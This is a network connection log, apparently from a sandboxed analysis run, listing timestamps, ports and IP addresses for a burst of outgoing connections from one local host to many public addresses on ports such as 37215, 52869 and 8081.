Jul 20, 2024 23:01:00.803817987 CEST	37354	52869	192.168.2.13	211.247.29.248
Jul 20, 2024 23:01:00.804630041 CEST	8081	58832	134.79.83.231	192.168.2.13
Jul 20, 2024 23:01:00.804641962 CEST	80	57996	88.70.58.249	192.168.2.13
Jul 20, 2024 23:01:00.804682970 CEST	57996	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:00.804729939 CEST	52869	50004	77.222.205.40	192.168.2.13
Jul 20, 2024 23:01:00.804891109 CEST	50004	52869	192.168.2.13	77.222.205.40
Jul 20, 2024 23:01:00.806421995 CEST	58832	8081	192.168.2.13	134.79.83.231
Jul 20, 2024 23:01:00.808830023 CEST	52440	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:00.809653997 CEST	50320	8081	192.168.2.13	65.48.2.108
Jul 20, 2024 23:01:00.809819937 CEST	8081	40860	107.94.20.210	192.168.2.13
Jul 20, 2024 23:01:00.809845924 CEST	52869	37354	211.247.29.248	192.168.2.13
Jul 20, 2024 23:01:00.809914112 CEST	37354	52869	192.168.2.13	211.247.29.248
Jul 20, 2024 23:01:00.809973001 CEST	40860	8081	192.168.2.13	107.94.20.210
Jul 20, 2024 23:01:00.810801029 CEST	35784	52869	192.168.2.13	70.194.220.73
Jul 20, 2024 23:01:00.814560890 CEST	80	52440	88.223.235.110	192.168.2.13
Jul 20, 2024 23:01:00.814604998 CEST	52440	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:00.814686060 CEST	51806	8081	192.168.2.13	42.43.78.78
Jul 20, 2024 23:01:00.815747023 CEST	35158	52869	192.168.2.13	97.132.111.117
Jul 20, 2024 23:01:00.816086054 CEST	8081	50320	65.48.2.108	192.168.2.13
Jul 20, 2024 23:01:00.816129923 CEST	50320	8081	192.168.2.13	65.48.2.108
Jul 20, 2024 23:01:00.817164898 CEST	52869	35784	70.194.220.73	192.168.2.13
Jul 20, 2024 23:01:00.817313910 CEST	35784	52869	192.168.2.13	70.194.220.73
Jul 20, 2024 23:01:00.817683935 CEST	50298	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:00.819149971 CEST	47190	8081	192.168.2.13	129.218.9.212
Jul 20, 2024 23:01:00.819884062 CEST	56178	52869	192.168.2.13	130.11.160.84
Jul 20, 2024 23:01:00.820281029 CEST	8081	51806	42.43.78.78	192.168.2.13
Jul 20, 2024 23:01:00.820314884 CEST	51806	8081	192.168.2.13	42.43.78.78
Jul 20, 2024 23:01:00.820771933 CEST	52869	35158	97.132.111.117	192.168.2.13
Jul 20, 2024 23:01:00.820813894 CEST	35158	52869	192.168.2.13	97.132.111.117
Jul 20, 2024 23:01:00.822709084 CEST	80	50298	88.106.209.195	192.168.2.13
Jul 20, 2024 23:01:00.822752953 CEST	50298	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:00.823668003 CEST	55980	8081	192.168.2.13	218.67.60.128
Jul 20, 2024 23:01:00.824397087 CEST	8081	47190	129.218.9.212	192.168.2.13
Jul 20, 2024 23:01:00.824867964 CEST	52869	56178	130.11.160.84	192.168.2.13
Jul 20, 2024 23:01:00.828926086 CEST	8081	55980	218.67.60.128	192.168.2.13
Jul 20, 2024 23:01:00.835264921 CEST	47190	8081	192.168.2.13	129.218.9.212
Jul 20, 2024 23:01:00.855715036 CEST	56178	52869	192.168.2.13	130.11.160.84
Jul 20, 2024 23:01:00.934807062 CEST	55980	8081	192.168.2.13	218.67.60.128
Jul 20, 2024 23:01:01.070271015 CEST	50563	37215	192.168.2.13	157.122.113.19
Jul 20, 2024 23:01:01.070341110 CEST	50563	37215	192.168.2.13	102.125.175.122
Jul 20, 2024 23:01:01.070576906 CEST	50563	37215	192.168.2.13	41.1.171.10
Jul 20, 2024 23:01:01.070576906 CEST	50563	37215	192.168.2.13	27.78.138.10
Jul 20, 2024 23:01:01.070760012 CEST	50563	37215	192.168.2.13	157.139.156.99
Jul 20, 2024 23:01:01.070802927 CEST	50563	37215	192.168.2.13	197.110.154.64
Jul 20, 2024 23:01:01.070802927 CEST	50563	37215	192.168.2.13	108.207.86.100
Jul 20, 2024 23:01:01.070804119 CEST	50563	37215	192.168.2.13	157.30.206.29
Jul 20, 2024 23:01:01.070848942 CEST	50563	37215	192.168.2.13	69.224.117.154
Jul 20, 2024 23:01:01.070851088 CEST	50563	37215	192.168.2.13	197.231.239.9
Jul 20, 2024 23:01:01.071125984 CEST	50563	37215	192.168.2.13	208.103.80.131
Jul 20, 2024 23:01:01.071125984 CEST	50563	37215	192.168.2.13	157.196.45.111
Jul 20, 2024 23:01:01.071207047 CEST	50563	37215	192.168.2.13	157.148.27.67
Jul 20, 2024 23:01:01.071207047 CEST	50563	37215	192.168.2.13	41.56.134.85
Jul 20, 2024 23:01:01.071207047 CEST	50563	37215	192.168.2.13	197.158.59.52
Jul 20, 2024 23:01:01.071528912 CEST	50563	37215	192.168.2.13	197.115.95.102
Jul 20, 2024 23:01:01.071528912 CEST	50563	37215	192.168.2.13	41.163.198.191
Jul 20, 2024 23:01:01.071528912 CEST	50563	37215	192.168.2.13	157.89.2.186
Jul 20, 2024 23:01:01.071746111 CEST	50563	37215	192.168.2.13	41.170.155.209
Jul 20, 2024 23:01:01.071746111 CEST	50563	37215	192.168.2.13	41.158.20.75
Jul 20, 2024 23:01:01.071746111 CEST	50563	37215	192.168.2.13	12.76.220.127
Jul 20, 2024 23:01:01.071746111 CEST	50563	37215	192.168.2.13	41.66.58.108
Jul 20, 2024 23:01:01.072072983 CEST	50563	37215	192.168.2.13	41.239.78.129
Jul 20, 2024 23:01:01.072072983 CEST	50563	37215	192.168.2.13	43.60.150.225
Jul 20, 2024 23:01:01.072072983 CEST	50563	37215	192.168.2.13	157.97.72.166
Jul 20, 2024 23:01:01.072072983 CEST	50563	37215	192.168.2.13	60.94.146.119
Jul 20, 2024 23:01:01.072072983 CEST	50563	37215	192.168.2.13	200.20.114.180
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	157.149.109.159
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	157.200.137.214
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	41.117.55.161
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	197.52.93.34
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	157.81.202.141
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	197.6.132.33
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	41.92.201.200
Jul 20, 2024 23:01:01.072737932 CEST	50563	37215	192.168.2.13	41.94.16.37
Jul 20, 2024 23:01:01.072978020 CEST	50563	37215	192.168.2.13	157.214.80.156
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	41.123.84.217
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	157.24.94.220
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	41.224.9.32
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	41.159.234.99
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	136.37.96.245
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	41.182.89.167
Jul 20, 2024 23:01:01.072978973 CEST	50563	37215	192.168.2.13	197.32.190.105
Jul 20, 2024 23:01:01.073776007 CEST	50563	37215	192.168.2.13	157.159.75.206
Jul 20, 2024 23:01:01.073776007 CEST	50563	37215	192.168.2.13	41.76.155.163
Jul 20, 2024 23:01:01.073776007 CEST	50563	37215	192.168.2.13	197.67.209.66
Jul 20, 2024 23:01:01.073776960 CEST	50563	37215	192.168.2.13	157.23.203.150
Jul 20, 2024 23:01:01.073776960 CEST	50563	37215	192.168.2.13	147.224.206.192
Jul 20, 2024 23:01:01.073776960 CEST	50563	37215	192.168.2.13	157.113.203.39
Jul 20, 2024 23:01:01.073776960 CEST	50563	37215	192.168.2.13	41.40.239.92
Jul 20, 2024 23:01:01.073776960 CEST	50563	37215	192.168.2.13	188.62.66.91
Jul 20, 2024 23:01:01.075354099 CEST	37215	50563	157.122.113.19	192.168.2.13
Jul 20, 2024 23:01:01.075380087 CEST	37215	50563	102.125.175.122	192.168.2.13
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	197.60.254.132
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	197.217.9.52
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	183.4.110.88
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	41.166.132.188
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	197.245.171.151
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	23.167.72.58
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	216.199.245.89
Jul 20, 2024 23:01:01.075503111 CEST	50563	37215	192.168.2.13	41.66.143.219
Jul 20, 2024 23:01:01.075624943 CEST	37215	50563	41.1.171.10	192.168.2.13
Jul 20, 2024 23:01:01.075773954 CEST	37215	50563	27.78.138.10	192.168.2.13
Jul 20, 2024 23:01:01.075911999 CEST	37215	50563	157.139.156.99	192.168.2.13
Jul 20, 2024 23:01:01.075964928 CEST	50563	37215	192.168.2.13	197.140.84.23
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	41.46.174.114
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	157.175.47.238
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	157.29.201.29
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	157.225.125.172
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	197.149.50.174
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	157.99.209.130
Jul 20, 2024 23:01:01.075965881 CEST	50563	37215	192.168.2.13	41.197.136.34
Jul 20, 2024 23:01:01.076018095 CEST	37215	50563	197.110.154.64	192.168.2.13
Jul 20, 2024 23:01:01.076265097 CEST	37215	50563	197.231.239.9	192.168.2.13
Jul 20, 2024 23:01:01.076289892 CEST	37215	50563	69.224.117.154	192.168.2.13
Jul 20, 2024 23:01:01.076337099 CEST	37215	50563	208.103.80.131	192.168.2.13
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	41.29.95.245
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	41.67.62.118
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	41.152.67.188
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	197.198.234.2
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	102.125.175.122
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	41.1.171.10
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	27.78.138.10
Jul 20, 2024 23:01:01.076564074 CEST	50563	37215	192.168.2.13	157.139.156.99
Jul 20, 2024 23:01:01.076586008 CEST	37215	50563	108.207.86.100	192.168.2.13
Jul 20, 2024 23:01:01.076646090 CEST	37215	50563	157.196.45.111	192.168.2.13
Jul 20, 2024 23:01:01.076669931 CEST	37215	50563	157.148.27.67	192.168.2.13
Jul 20, 2024 23:01:01.076865911 CEST	37215	50563	157.30.206.29	192.168.2.13
Jul 20, 2024 23:01:01.076878071 CEST	37215	50563	41.56.134.85	192.168.2.13
Jul 20, 2024 23:01:01.077167034 CEST	37215	50563	41.170.155.209	192.168.2.13
Jul 20, 2024 23:01:01.077179909 CEST	37215	50563	197.158.59.52	192.168.2.13
Jul 20, 2024 23:01:01.077198982 CEST	37215	50563	197.115.95.102	192.168.2.13
Jul 20, 2024 23:01:01.077223063 CEST	37215	50563	41.158.20.75	192.168.2.13
Jul 20, 2024 23:01:01.077553034 CEST	37215	50563	41.239.78.129	192.168.2.13
Jul 20, 2024 23:01:01.077624083 CEST	37215	50563	12.76.220.127	192.168.2.13
Jul 20, 2024 23:01:01.077717066 CEST	37215	50563	41.163.198.191	192.168.2.13
Jul 20, 2024 23:01:01.077728987 CEST	37215	50563	41.66.58.108	192.168.2.13
Jul 20, 2024 23:01:01.077774048 CEST	37215	50563	43.60.150.225	192.168.2.13
Jul 20, 2024 23:01:01.077827930 CEST	37215	50563	157.89.2.186	192.168.2.13
Jul 20, 2024 23:01:01.078006983 CEST	50563	37215	192.168.2.13	197.95.180.151
Jul 20, 2024 23:01:01.078006983 CEST	50563	37215	192.168.2.13	157.1.94.66
Jul 20, 2024 23:01:01.078007936 CEST	50563	37215	192.168.2.13	99.20.88.161
Jul 20, 2024 23:01:01.078007936 CEST	50563	37215	192.168.2.13	72.116.130.34
Jul 20, 2024 23:01:01.078007936 CEST	50563	37215	192.168.2.13	146.195.5.235
Jul 20, 2024 23:01:01.078007936 CEST	50563	37215	192.168.2.13	168.113.170.56
Jul 20, 2024 23:01:01.078007936 CEST	50563	37215	192.168.2.13	41.10.155.58
Jul 20, 2024 23:01:01.078007936 CEST	50563	37215	192.168.2.13	41.84.9.66
Jul 20, 2024 23:01:01.078154087 CEST	37215	50563	157.149.109.159	192.168.2.13
Jul 20, 2024 23:01:01.078166962 CEST	37215	50563	157.97.72.166	192.168.2.13
Jul 20, 2024 23:01:01.078269958 CEST	37215	50563	157.200.137.214	192.168.2.13
Jul 20, 2024 23:01:01.078466892 CEST	37215	50563	60.94.146.119	192.168.2.13
Jul 20, 2024 23:01:01.078556061 CEST	37215	50563	157.214.80.156	192.168.2.13
Jul 20, 2024 23:01:01.078567982 CEST	37215	50563	41.117.55.161	192.168.2.13
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	197.3.245.241
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	157.160.109.224
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	95.102.7.35
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	157.160.196.69
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	157.165.69.205
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	197.86.60.196
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	157.107.206.107
Jul 20, 2024 23:01:01.078722954 CEST	50563	37215	192.168.2.13	41.35.167.14
Jul 20, 2024 23:01:01.078937054 CEST	37215	50563	200.20.114.180	192.168.2.13
Jul 20, 2024 23:01:01.078988075 CEST	37215	50563	197.52.93.34	192.168.2.13
Jul 20, 2024 23:01:01.079011917 CEST	37215	50563	41.123.84.217	192.168.2.13
Jul 20, 2024 23:01:01.079039097 CEST	37215	50563	157.159.75.206	192.168.2.13
Jul 20, 2024 23:01:01.079310894 CEST	37215	50563	157.24.94.220	192.168.2.13
Jul 20, 2024 23:01:01.079351902 CEST	37215	50563	41.76.155.163	192.168.2.13
Jul 20, 2024 23:01:01.079364061 CEST	37215	50563	41.224.9.32	192.168.2.13
Jul 20, 2024 23:01:01.079525948 CEST	37215	50563	197.67.209.66	192.168.2.13
Jul 20, 2024 23:01:01.079632998 CEST	37215	50563	41.159.234.99	192.168.2.13
Jul 20, 2024 23:01:01.079691887 CEST	37215	50563	157.23.203.150	192.168.2.13
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	69.224.117.154
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	157.148.27.67
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	41.56.134.85
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	197.158.59.52
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	41.239.78.129
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	43.60.150.225
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	157.97.72.166
Jul 20, 2024 23:01:01.079691887 CEST	50563	37215	192.168.2.13	60.94.146.119
Jul 20, 2024 23:01:01.079705954 CEST	37215	50563	157.81.202.141	192.168.2.13
Jul 20, 2024 23:01:01.079932928 CEST	37215	50563	136.37.96.245	192.168.2.13
Jul 20, 2024 23:01:01.080034018 CEST	37215	50563	147.224.206.192	192.168.2.13
Jul 20, 2024 23:01:01.080137968 CEST	37215	50563	41.182.89.167	192.168.2.13
Jul 20, 2024 23:01:01.080200911 CEST	37215	50563	197.6.132.33	192.168.2.13
Jul 20, 2024 23:01:01.080410004 CEST	37215	50563	197.32.190.105	192.168.2.13
Jul 20, 2024 23:01:01.080543995 CEST	37215	50563	41.92.201.200	192.168.2.13
Jul 20, 2024 23:01:01.080622911 CEST	37215	50563	197.60.254.132	192.168.2.13
Jul 20, 2024 23:01:01.080771923 CEST	37215	50563	157.113.203.39	192.168.2.13
Jul 20, 2024 23:01:01.080945969 CEST	37215	50563	41.94.16.37	192.168.2.13
Jul 20, 2024 23:01:01.080993891 CEST	37215	50563	197.217.9.52	192.168.2.13
Jul 20, 2024 23:01:01.081070900 CEST	37215	50563	41.40.239.92	192.168.2.13
Jul 20, 2024 23:01:01.081135988 CEST	37215	50563	183.4.110.88	192.168.2.13
Jul 20, 2024 23:01:01.081408024 CEST	37215	50563	197.140.84.23	192.168.2.13
Jul 20, 2024 23:01:01.081420898 CEST	37215	50563	188.62.66.91	192.168.2.13
Jul 20, 2024 23:01:01.081572056 CEST	37215	50563	41.46.174.114	192.168.2.13
Jul 20, 2024 23:01:01.081583977 CEST	37215	50563	41.166.132.188	192.168.2.13
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	41.246.251.88
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	138.160.81.148
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	197.110.154.64
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	108.207.86.100
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	157.30.206.29
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	41.170.155.209
Jul 20, 2024 23:01:01.081644058 CEST	37215	50563	41.29.95.245	192.168.2.13
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	41.158.20.75
Jul 20, 2024 23:01:01.081641912 CEST	50563	37215	192.168.2.13	12.76.220.127
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	200.20.114.180
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	157.159.75.206
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	41.76.155.163
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	197.67.209.66
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	157.23.203.150
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	147.224.206.192
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	157.113.203.39
Jul 20, 2024 23:01:01.081777096 CEST	50563	37215	192.168.2.13	41.40.239.92
Jul 20, 2024 23:01:01.081988096 CEST	37215	50563	157.175.47.238	192.168.2.13
Jul 20, 2024 23:01:01.082037926 CEST	37215	50563	197.245.171.151	192.168.2.13
Jul 20, 2024 23:01:01.082123995 CEST	37215	50563	41.67.62.118	192.168.2.13
Jul 20, 2024 23:01:01.082365036 CEST	37215	50563	23.167.72.58	192.168.2.13
Jul 20, 2024 23:01:01.082380056 CEST	50563	37215	192.168.2.13	41.28.100.157
Jul 20, 2024 23:01:01.082380056 CEST	50563	37215	192.168.2.13	41.215.95.210
Jul 20, 2024 23:01:01.082380056 CEST	50563	37215	192.168.2.13	157.122.113.19
Jul 20, 2024 23:01:01.082380056 CEST	50563	37215	192.168.2.13	197.231.239.9
Jul 20, 2024 23:01:01.082380056 CEST	50563	37215	192.168.2.13	208.103.80.131
Jul 20, 2024 23:01:01.082381010 CEST	50563	37215	192.168.2.13	157.196.45.111
Jul 20, 2024 23:01:01.082381010 CEST	50563	37215	192.168.2.13	197.115.95.102
Jul 20, 2024 23:01:01.082381010 CEST	50563	37215	192.168.2.13	41.163.198.191
Jul 20, 2024 23:01:01.082390070 CEST	37215	50563	157.29.201.29	192.168.2.13
Jul 20, 2024 23:01:01.082607985 CEST	37215	50563	216.199.245.89	192.168.2.13
Jul 20, 2024 23:01:01.082710981 CEST	37215	50563	157.225.125.172	192.168.2.13
Jul 20, 2024 23:01:01.082936049 CEST	37215	50563	41.152.67.188	192.168.2.13
Jul 20, 2024 23:01:01.082956076 CEST	37215	50563	41.66.143.219	192.168.2.13
Jul 20, 2024 23:01:01.082983971 CEST	37215	50563	197.198.234.2	192.168.2.13
Jul 20, 2024 23:01:01.083221912 CEST	37215	50563	197.149.50.174	192.168.2.13
Jul 20, 2024 23:01:01.083241940 CEST	37215	50563	197.95.180.151	192.168.2.13
Jul 20, 2024 23:01:01.083693981 CEST	37215	50563	157.99.209.130	192.168.2.13
Jul 20, 2024 23:01:01.083813906 CEST	37215	50563	157.1.94.66	192.168.2.13
Jul 20, 2024 23:01:01.083827019 CEST	37215	50563	41.197.136.34	192.168.2.13
Jul 20, 2024 23:01:01.083838940 CEST	37215	50563	99.20.88.161	192.168.2.13
Jul 20, 2024 23:01:01.083969116 CEST	37215	50563	197.3.245.241	192.168.2.13
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	41.66.58.108
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	157.149.109.159
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	157.200.137.214
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	41.117.55.161
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	197.52.93.34
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	157.81.202.141
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	197.6.132.33
Jul 20, 2024 23:01:01.084027052 CEST	50563	37215	192.168.2.13	41.92.201.200
Jul 20, 2024 23:01:01.084323883 CEST	37215	50563	157.160.109.224	192.168.2.13
Jul 20, 2024 23:01:01.084510088 CEST	37215	50563	72.116.130.34	192.168.2.13
Jul 20, 2024 23:01:01.084629059 CEST	50563	37215	192.168.2.13	188.62.66.91
Jul 20, 2024 23:01:01.084629059 CEST	50563	37215	192.168.2.13	41.29.95.245
Jul 20, 2024 23:01:01.084629059 CEST	50563	37215	192.168.2.13	41.67.62.118
Jul 20, 2024 23:01:01.084629059 CEST	50563	37215	192.168.2.13	41.152.67.188
Jul 20, 2024 23:01:01.084630013 CEST	50563	37215	192.168.2.13	197.198.234.2
Jul 20, 2024 23:01:01.084877014 CEST	37215	50563	95.102.7.35	192.168.2.13
Jul 20, 2024 23:01:01.085195065 CEST	37215	50563	157.160.196.69	192.168.2.13
Jul 20, 2024 23:01:01.085207939 CEST	37215	50563	157.165.69.205	192.168.2.13
Jul 20, 2024 23:01:01.085220098 CEST	37215	50563	146.195.5.235	192.168.2.13
Jul 20, 2024 23:01:01.085335016 CEST	50563	37215	192.168.2.13	157.89.2.186
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	157.214.80.156
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	41.123.84.217
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	157.24.94.220
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	41.224.9.32
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	41.159.234.99
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	136.37.96.245
Jul 20, 2024 23:01:01.085335970 CEST	50563	37215	192.168.2.13	41.182.89.167
Jul 20, 2024 23:01:01.085748911 CEST	37215	50563	168.113.170.56	192.168.2.13
Jul 20, 2024 23:01:01.085808992 CEST	37215	50563	41.10.155.58	192.168.2.13
Jul 20, 2024 23:01:01.085959911 CEST	37215	50563	197.86.60.196	192.168.2.13
Jul 20, 2024 23:01:01.086352110 CEST	37215	50563	157.107.206.107	192.168.2.13
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	41.94.16.37
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	197.140.84.23
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	41.46.174.114
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	157.175.47.238
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	157.29.201.29
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	157.225.125.172
Jul 20, 2024 23:01:01.086435080 CEST	50563	37215	192.168.2.13	197.149.50.174
Jul 20, 2024 23:01:01.086436033 CEST	50563	37215	192.168.2.13	157.99.209.130
Jul 20, 2024 23:01:01.086524010 CEST	37215	50563	41.35.167.14	192.168.2.13
Jul 20, 2024 23:01:01.086926937 CEST	37215	50563	41.246.251.88	192.168.2.13
Jul 20, 2024 23:01:01.087169886 CEST	37215	50563	138.160.81.148	192.168.2.13
Jul 20, 2024 23:01:01.087264061 CEST	37215	50563	41.84.9.66	192.168.2.13
Jul 20, 2024 23:01:01.087577105 CEST	37215	50563	41.28.100.157	192.168.2.13
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	197.32.190.105
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	197.60.254.132
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	197.217.9.52
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	183.4.110.88
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	41.166.132.188
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	197.245.171.151
Jul 20, 2024 23:01:01.087681055 CEST	50563	37215	192.168.2.13	23.167.72.58
Jul 20, 2024 23:01:01.087682009 CEST	50563	37215	192.168.2.13	216.199.245.89
Jul 20, 2024 23:01:01.087824106 CEST	37215	50563	41.215.95.210	192.168.2.13
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	41.197.136.34
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	197.3.245.241
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	157.160.109.224
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	95.102.7.35
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	157.160.196.69
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	157.165.69.205
Jul 20, 2024 23:01:01.088217020 CEST	50563	37215	192.168.2.13	197.86.60.196
Jul 20, 2024 23:01:01.088217974 CEST	50563	37215	192.168.2.13	157.107.206.107
Jul 20, 2024 23:01:01.089412928 CEST	50563	37215	192.168.2.13	41.66.143.219
Jul 20, 2024 23:01:01.089412928 CEST	50563	37215	192.168.2.13	197.95.180.151
Jul 20, 2024 23:01:01.089412928 CEST	50563	37215	192.168.2.13	157.1.94.66
Jul 20, 2024 23:01:01.089412928 CEST	50563	37215	192.168.2.13	99.20.88.161
Jul 20, 2024 23:01:01.089412928 CEST	50563	37215	192.168.2.13	72.116.130.34
Jul 20, 2024 23:01:01.089413881 CEST	50563	37215	192.168.2.13	146.195.5.235
Jul 20, 2024 23:01:01.089413881 CEST	50563	37215	192.168.2.13	168.113.170.56
Jul 20, 2024 23:01:01.089413881 CEST	50563	37215	192.168.2.13	41.10.155.58
Jul 20, 2024 23:01:01.089941025 CEST	50563	37215	192.168.2.13	41.35.167.14
Jul 20, 2024 23:01:01.089941025 CEST	50563	37215	192.168.2.13	41.246.251.88
Jul 20, 2024 23:01:01.089941025 CEST	50563	37215	192.168.2.13	138.160.81.148
Jul 20, 2024 23:01:01.090854883 CEST	50563	37215	192.168.2.13	41.84.9.66
Jul 20, 2024 23:01:01.090854883 CEST	50563	37215	192.168.2.13	41.28.100.157
Jul 20, 2024 23:01:01.090854883 CEST	50563	37215	192.168.2.13	41.215.95.210
Jul 20, 2024 23:01:01.101938009 CEST	42224	52869	192.168.2.13	204.52.130.30
Jul 20, 2024 23:01:01.110783100 CEST	52869	42224	204.52.130.30	192.168.2.13
Jul 20, 2024 23:01:01.118134022 CEST	50563	37215	192.168.2.13	41.16.188.87
Jul 20, 2024 23:01:01.118134022 CEST	50563	37215	192.168.2.13	157.101.155.172
Jul 20, 2024 23:01:01.118134022 CEST	50563	37215	192.168.2.13	41.52.232.204
Jul 20, 2024 23:01:01.118134022 CEST	50563	37215	192.168.2.13	41.101.139.163
Jul 20, 2024 23:01:01.118134022 CEST	50563	37215	192.168.2.13	41.116.129.84
Jul 20, 2024 23:01:01.118134022 CEST	50563	37215	192.168.2.13	41.69.215.32
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	9.229.43.243
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	41.49.0.8
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	134.237.85.253
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	197.97.243.165
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	72.172.109.83
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	41.155.127.53
Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	157.239.214.231
